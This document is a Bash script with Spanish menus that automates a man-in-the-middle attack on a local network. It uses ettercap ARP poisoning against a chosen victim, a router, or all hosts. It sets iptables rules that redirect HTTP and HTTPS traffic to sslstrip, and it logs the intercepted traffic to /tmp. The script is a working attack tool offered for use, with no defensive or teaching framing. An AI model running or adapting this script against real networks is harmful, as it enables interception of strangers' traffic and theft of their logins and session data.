clear

#Definimos las variables de uso de ettercap
opcion="";
interface="eth0";
target1="";
target2="";



while [ opcion != "0" ] 
do
clear
	echo "-----------------------------------";
	echo "- [1] - Definir interfaz [$interface]   -";
	echo "- [2] - Def. Target 1 [ALL]       -";
	echo "- [3] - Def. Target 2 [ALL]       -";
	echo "- [4] - Menu ataques              -";
	echo "- [0] - Quit                      -";
	echo "-----------------------------------";
	read -p "- Opcion :" opcion;
    	case $opcion in
	#;
        0) 	
		clear;
		break ;;

	#;
        1) 
		read -p "Nombre de interface :" interface;	
        ;;

	#;
        2) 
		read -p "IP target 1 [Victima/Host] :" target1;
        ;;

	#;
        3) 
		read -p "IP target 2 [Proxy/Router] :" target2;
        ;;

	#;
        4) 
	while [ opcion2 != "0" ] 
        do
		clear;
		sudo sysctl -w net.ipv4.ip_forward=1 
		sleep 1
		sudo gnome-terminal --tab -e "sudo fragrouter -B1 -i $interface" &
		sudo iptables -t nat -F

		clear;
		echo "- Relacion de datos del ataque :";
		echo "-  :: $interface :: $target1 :: $target2";
		echo "-----------------------------";
		echo "- [1] - MITM to ALL         -";
		echo "- [2] - MITM to Target 1    -";
		echo "- [3] - MITM to Target 2    -";
		echo "- [4] - MITM to Target 1/2  -";
		echo "-----------------------------";
		echo "- [5] - Use SSLStrip        -";
		echo "- [0] - Quit                -";
		echo "-----------------------------";
		read -p "- Opcion :" opcion2;

	    	case $opcion2 in
		#;
		0) 	
			clear;
			break ;;
		#;
		1) 	
			
			sudo gnome-terminal --tab -e "ettercap -Tq -M arp:remote // // -P autoadd -i $interface -m /tmp/capturaetter.log" &

			clear;;
		#;
		2) 
			sudo gnome-terminal --tab -e "ettercap -Tq -M arp:remote /$target1/ // -P autoadd -i $interface -m /tmp/capturaetter.log" &
		   clear;; 
		#;
		3) 
			sudo gnome-terminal --tab -e "ettercap -Tq -M arp:remote // /$target2/ -P autoadd -i $interface -m /tmp/capturaetter.log" &
		   clear;;
		#;
		4) 
		   sudo gnome-terminal --tab -e "ettercap -Tq -M arp:remote /$target1/ /$target2/ -P autoadd -i $interface -m /tmp/capturaetter.log" &
		   clear;;
		
		#;
		5) 

			sleep 1
			sudo iptables -t nat -L -n
			sleep 1
			sudo iptables -t nat -D PREROUTING 1
			sudo iptables -t nat -D PREROUTING 1
			sudo iptables -t nat -L -n
			sleep 1
			sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000 
			sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -j  REDIRECT --to-port 10000

clear;
			sudo gnome-terminal --tab -e "sslstrip -k -l 10000 -a -w /tmp/captura.log" &

			sleep 1

			sudo gnome-terminal --tab -e "tail -f /tmp/captura.log" &
			sleep 1
			sudo gnome-terminal --tab -e "tail -f /tmp/capturaetter.log" &


clear;;
#default;
		*) ;;

		esac 
        done
	;;

	#default;
        *) ;;

    esac 
done
exit 0


